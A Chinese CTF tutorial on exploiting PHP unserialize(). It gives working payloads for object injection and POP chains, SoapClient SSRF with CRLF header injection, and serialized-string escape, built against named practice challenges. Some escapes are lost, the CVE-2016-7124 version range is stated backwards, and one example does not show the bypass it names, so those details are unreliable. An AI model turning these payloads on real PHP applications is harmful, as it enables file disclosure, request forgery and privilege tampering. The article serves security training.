CTF PHP反序列化姿势总结

2022-05-18 12,102

前段时间针对自己CTF中Web方向的弱点进行强化训练,并进行了总结,希望能给大家带来一定的帮助
ps:本文只针对常见题型进行总结,未对基础知识进行讲解,对基础知识有需求的师傅,还请自行学习

0x00 对象注入类型

讲解

如果用户的请求在传输给反序列化函数unserialize()之前没有进行相应的过滤会产生漏洞,因为PHP允许对象序列化,攻击者就可以提交特定的序列化字符串给一个具有相应漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。
对象注入漏洞存在的前提条件:
  • unserialize的参数可控
  • 代码里有定义一个含有魔术方法的类,且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数
以上两个前提条件,缺一不可

例题(原创)

ps:因为单独考察的较少,作者直接使用代码对此进行讲解:
<?php
class A{ 
   var $name = "tide";    
   function __destruct(){      
     echo $this->test;    
   }
}
$a = 'O:1:"A":1:{s:4:"name";s:4:"tide";}';
unserialize($a);
在脚本运行后,会调用__destruct函数,同时会覆盖test变量,输出tide。

0x01 POP链构造利用

讲解

序列化攻击最基础的是魔术方法中出现一些利用的漏洞,因为自动调用而触发漏洞,但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性名和敏感函数的属性联系起来,这种方法叫POP链构造,也是近几年CTF各大赛事中,PHP反序列化的主要考查方式。

例题([MRCTF2020]Ezpop

首先看一下题


Welcome to index.php<?php//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier {    protected  $var;    public function append($value){        include($value);    }    public function __invoke(){        $this->append($this->var);    }}
class Show{    public $source;    public $str;    public function __construct($file='index.php'){        $this->source = $file;        echo 'Welcome to '.$this->source."<br>";    }    public function __toString(){        return $this->str->source;    }
   public function __wakeup(){        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {            echo "hacker";            $this->source = "index.php";        }    }}
class Test{    public $p;    public function __construct(){        $this->p = array();    }
   public function __get($key){        $function = $this->p;        return $function();    }}
if(isset($_GET['pop'])){    @unserialize($_GET['pop']);}else{    $a=new Show;    highlight_file(__FILE__);}

首先列出题目中出现的魔术方法

__construct   当一个对象创建时被调用,
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__get()    用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke()   当脚本尝试将对象调用为函数时触发
根据代码可知,当使用get方法传入一个pop参数后,Show类__wakeup()魔术方法,__wakeup()通过preg_match()将$this->source做字符串比较,如果$this->source是Show类,就调用了__toString()方法,如果__toString()其中str赋值为一个实例化的Test类,那么其类不包含-source属性,所以会调用Test中的__get()方法,如果_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用=Modifier类中的_invoke方法,利用文件包含漏洞,使用__invoke读取flag.php的内容
文字描述看起来可能比较繁琐,使用符号表示是这样的
Modifier::__invoke()<--Test::__get()<--Show::__toString()
最终构造payload如下

<?phpclass Modifier {    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php' ;
}
class Show{    public $source;    public $str;  public function __construct($file){    $this->source = $file;    }    public function __toString(){        return "karsa";    }}
class Test{    public $p;}
$a = new Show('aaa');$a->str = new Test();$a->str->p = new Modifier();$b = new Show($a);echo urlencode(serialize($b));?>

0x02 PHP原生类反序列化利用

讲解

简介

php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。通过CRLF来添加请求体:SoapClinet可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容。
SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,采用了SOAP协议(SOAP是一种简单的基于XML的协议,它使应用程序通过HTTP来交换信息),其次我们知道某个实例化的类,如果去调用了一个不存在的函数,会调用__call方法,具体详细信息,感兴趣的读者可以自行查阅,这里不进行赘述
CRLF是”回车 + 换行”(rn)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS
在多数CTF题目中,会将这两个知识点结合起来考察。

利用讲解

首先在本机上开启端口监听
nc -lvvp 4567
写一段代码
<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:4567')); 
$b = serialize($a);
$c = unserialize($b);
$c -> not_a_function();//调用不存在的方法,让SoapClient调用__call
运行上述代码,会捕获监听。


从上面这张图可以看到,SOAPAction处使我们的可控参数,因此我们可以尝试在这里注入自己构造的CRLF,即插入**rn**
<?php
$a = new SoapClient(null,array('location'=>'http://127.0.0.1:4567', 'user_agent'=>"tidernContent-Type:application/x-www-form-urlencodedrn"."Content-Length: ".(string)strlen($post_string)."rnrn".$post_string, 'uri'=>"aaa"));
$b = serialize($a);
$c = unserialize($b);
$c -> not_a_function();//调用不存在的方法,让SoapClient调用__call

可以看到我们利用漏洞构造了User-Agent,且传输了空数据。这表明我们利用成功了。

例题(CTFShow Web259)

题目给出的描述:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);

if($ip!=='127.0.0.1'){  die('error');}else{  $token = $_POST['token'];  if($token=='ctfshow'){    file_put_contents('flag.txt',$flag);  }}


<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
相关参数都已经给的十分充分了,利用ssrf访问flag.php,然后构造post数据token=ctfshow还有xff请求头,所以构造的payload如下:
<?php 
 $post_string = "token=ctfshow";   
  $a = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php', 'user_agent'=>"aaaaaarnContent-Type:application/x-www-form-urlencodedrn"."X-Forwarded-For: 127.0.0.1,127.0.0.1rn"."Content-Length: ".(string)strlen($post_string)."rnrn".$post_string, 'uri'=>"aaa"));    
  $b = serialize($a);    
  echo urlencode($b);
这里X-Forwarded-For里需要两个127.0.0.1是因为docker环境的cloudfare代理导致的。
运行php
O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A129%3A%22aaaaaa%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

通过get方式传入vip参数,如图


再访问flag.txt,就能成功拿到flag

0x03 PHP反序列化字符串逃逸

简介

在php反序列化时,底层代码以;作为字段的分隔,以}作为结尾,并根据长度判断内容,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化。
字符逃逸漏洞属于PHP反序列化漏洞中的其中一种,漏洞原因是在反序列化某字符属性时,由于长度异常而导致后面注入字符串被正常解析,导致我们构造的恶意字符串逃逸出正常的属性值中,最终在反序列化后恶意修改了类属性。
问题点:
  • 序列化后的字符串经过了替换或修改,导致字符串长度发生变化。
  • 先序列化,再进行替换修改导致。
一般情况下分两种:
  • 替换修改后导致序列化字符串变长,例如,将字符串bb替换成ccc
  • 替换修改后导致序列化字符串变短,例如,将字符串aaa替换成cc

例题讲解(CTFShow Web262)


<?php
/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-12-03 02:37:19# @Last Modified by:   h1xa# @Last Modified time: 2020-12-03 16:05:38# @message.php# @email: h1xa@ctfer.com# @link: https://ctfer.com
*/

error_reporting(0);class message{    public $from;    public $msg;    public $to;    public $token='user';    public function __construct($f,$m,$t){        $this->from = $f;        $this->msg = $m;        $this->to = $t;    }}
$f = $_GET['f'];$m = $_GET['m'];$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){    $msg = new message($f,$m,$t);    $umsg = str_replace('fuck', 'loveU', serialize($msg));    setcookie('msg',base64_encode($umsg));    echo 'Your message has been sent';}
highlight_file(__FILE__);


<?php
/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-12-03 15:13:03# @Last Modified by:   h1xa# @Last Modified time: 2020-12-03 15:17:17# @email: h1xa@ctfer.com# @link: https://ctfer.com
*/highlight_file(__FILE__);include('flag.php');
class message{    public $from;    public $msg;    public $to;    public $token='user';    public function __construct($f,$m,$t){        $this->from = $f;        $this->msg = $m;        $this->to = $t;    }}
if(isset($_COOKIE['msg'])){    $msg = unserialize(base64_decode($_COOKIE['msg']));    if($msg->token=='admin'){        echo $flag;    }}

捋一捋逻辑,有一个正则匹配会把传入的序列化内容中的fuck替换为loveU,也就是长度从4变成了5,可以操作的内容增加了一位,而且只要message类中的token值为admin,就会输出flag,所以payload如下:

";s:5:"token";s:5:"admin";}
因为payload长度为27位,因此我们需要输入27个fuck来获取额外的27个长度,来满足我们的payload,所以最终构造的payload如下
?f=123&m=123&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
发送get请求,如图:


这时再访问message.php就会输出flag


0x04 PHP反序列化杂项

这里之所以写为杂项是因为这些洞使我们所常碰到的,但是由于过于简单且比较细节就将其放到一起进行讲解

php7.1+反序列化对类属性不敏感

众所周知,如果变量前是protected,那么序列化结果会在变量名前加上x00*x00
但是在php7.1以上则对类属性不敏感,比如下面的例子即使没有x00*x00也仍然会输出tide
<?php
class test{ 
   protected $a;    
   public function __construct(){      
     $this->a = 'tide';    
   }    
   public function  __destruct(){      
        echo $this->a;    
   }
}
unserialize('O:4:"test":1:{s:1:"a";s:4:"tide";}');

绕过__wakeup(CVE-2016-7124)

当PHP的版本小于5.6.25,大于7.0.10时,会存在此漏洞,利用方法很简单,就是让序列化字符串中表示对象属性个数的值大于真是的属性个数即可绕过__wakeup的执行。

利用

<?php
class test{ 
   public $name;    
   public $nickname;    
   public function __construct(){      
     $this->name = 'abc';        
     $this->nickname= &$this->name;    
   }
}
$a = serialize(new test());
上面这个例子将$b设置为$a的引用,是$a永远与$b相等。

16进制绕过字符的过滤

O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"�0*�061";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析。
篇幅有限,总结的题目类型可能不是那么齐全,希望能给想要学习Web反序列化方向的师傅提供一定的帮助。

E

N

D


本文作者:TideSec

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/179300.html

Tags:
评论  (0)
快来写下你的想法吧!

TideSec

文章数:145 积分: 185

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号